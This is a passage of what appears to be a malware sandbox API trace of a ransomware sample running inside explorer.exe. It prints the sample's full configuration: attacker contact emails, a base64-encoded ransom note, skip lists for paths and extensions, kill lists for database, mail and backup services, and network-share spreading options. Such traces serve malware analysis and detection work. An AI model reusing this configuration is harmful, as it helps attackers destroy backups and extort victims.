	[0058.489] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x955e00) returned 1
	[0058.489] ExitProcess (uExitCode=0x1) 

Thread:
	id = 2
	os_tid = 0x13d4


Process:
	id = "2"
	image_name = "explorer.exe"
	filename = "c:\\windows\\syswow64\\explorer.exe"
	page_root = "0x9048000"
	os_pid = "0x113c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13bc"
	cmd_line = "\"C:\\WINDOWS\\system32\\explorer.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0x1138

	[0059.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x254) returned 0x2d5b540
	[0059.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6) returned 0x2d68770
	[0059.405] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0059.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0059.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d63fd0
	[0059.405] RtlFreeAnsiString (AnsiString="N") 
	[0059.405] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0059.406] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77850000) returned 0x0
	[0059.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d63fd0) returned 1
	[0059.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d68770) returned 1
	[0059.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6) returned 0x2d68770
	[0059.415] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0059.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0059.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d64180
	[0059.415] RtlFreeAnsiString (AnsiString="N") 
	[0059.415] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0059.415] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77850000) returned 0x0
	[0059.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d64180) returned 1
	[0059.417] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d68770) returned 1
	[0059.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6) returned 0x2d68770
	[0059.418] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0059.418] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0059.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d64198
	[0059.418] RtlFreeAnsiString (AnsiString="N") 
	[0059.418] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0059.418] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77850000) returned 0x0
	[0059.418] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d64198) returned 1
	[0059.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d68770) returned 1
	[0059.429] RtlInitUnicodeString (in: DestinationString=0x272fa4c, SourceString="mpr.dll" | out: DestinationString="mpr.dll") 
	[0059.429] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x272fa58 | out: BaseAddress=0x272fa58*=0x73780000) returned 0x0
	[0059.434] RtlInitUnicodeString (in: DestinationString=0x272fa4c, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") 
	[0059.434] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x272fa58 | out: BaseAddress=0x272fa58*=0x73760000) returned 0x0
	[0059.438] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7) returned 0x2d68770
	[0059.438] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="SRVCLI" | out: DestinationString="SRVCLI") 
	[0059.438] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0
	[0059.438] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe) returned 0x2d63fb8
	[0059.438] RtlFreeAnsiString (AnsiString="S") 
	[0059.438] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="SRVCLI" | out: DestinationString="SRVCLI") 
	[0059.438] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x73740000) returned 0x0
	[0059.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d63fb8) returned 1
	[0059.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d68770) returned 1
	[0059.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9) returned 0x2d64078
	[0059.465] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="NETUTILS" | out: DestinationString="NETUTILS") 
	[0059.465] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0
	[0059.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d6a750
	[0059.465] RtlFreeAnsiString (AnsiString="N") 
	[0059.465] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="NETUTILS" | out: DestinationString="NETUTILS") 
	[0059.465] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x73730000) returned 0x0
	[0059.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6a750) returned 1
	[0059.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d64078) returned 1
	[0059.471] RtlInitUnicodeString (in: DestinationString=0x272fa4c, SourceString="ole32.dll" | out: DestinationString="ole32.dll") 
	[0059.471] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x272fa58 | out: BaseAddress=0x272fa58*=0x76470000) returned 0x0
	[0059.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x2d6e1b0
	[0059.476] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.476] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0059.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d711c0
	[0059.476] RtlFreeAnsiString (AnsiString="a") 
	[0059.476] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.476] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77130000) returned 0x0
	[0059.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d711c0) returned 1
	[0059.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e1b0) returned 1
	[0059.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x2d6e1b0
	[0059.476] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.477] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0059.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71340
	[0059.477] RtlFreeAnsiString (AnsiString="a") 
	[0059.477] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.477] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77130000) returned 0x0
	[0059.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71340) returned 1
	[0059.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e1b0) returned 1
	[0059.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x2d6e1b0
	[0059.477] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.477] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0059.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d714c0
	[0059.477] RtlFreeAnsiString (AnsiString="a") 
	[0059.477] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.477] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77130000) returned 0x0
	[0059.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d714c0) returned 1
	[0059.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e1b0) returned 1
	[0059.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x2d6e250
	[0059.477] RtlInitAnsiString (in: DestinationString=0x272f9d4, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.477] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f9dc, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0059.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d712c0
	[0059.478] RtlFreeAnsiString (AnsiString="a") 
	[0059.478] RtlInitUnicodeString (in: DestinationString=0x272f9e0, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0059.478] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x272f9ec | out: BaseAddress=0x272f9ec*=0x77130000) returned 0x0
	[0059.478] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d712c0) returned 1
	[0059.478] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0059.478] RtlInitUnicodeString (in: DestinationString=0x272fa4c, SourceString="psapi.dll" | out: DestinationString="psapi.dll") 
	[0059.478] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x272fa58 | out: BaseAddress=0x272fa58*=0x77830000) returned 0x0
	[0059.482] FindResourceA (hModule=0x2760000, lpName=0x7a69, lpType=0x539) returned 0x2778048
	[0059.483] LoadResource (hModule=0x2760000, hResInfo=0x2778048) returned 0x2778058
	[0059.483] LockResource (hResData=0x2778058) returned 0x2778058
	[0059.483] SizeofResource (hModule=0x2760000, hResInfo=0x2778048) returned 0x14fd
	[0059.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14fd) returned 0x2d71618
	[0059.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5) returned 0x2d68870
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x2d540f0
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x2d5a300
	[0059.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a300) returned 1
	[0059.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d540f0) returned 1
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a850
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686c0
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a910
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a6b0
	[0059.485] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d68770
	[0059.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d6a670
	[0059.486] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x272f964, _Radix=0 | out: _EndPtr=0x272f964*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media 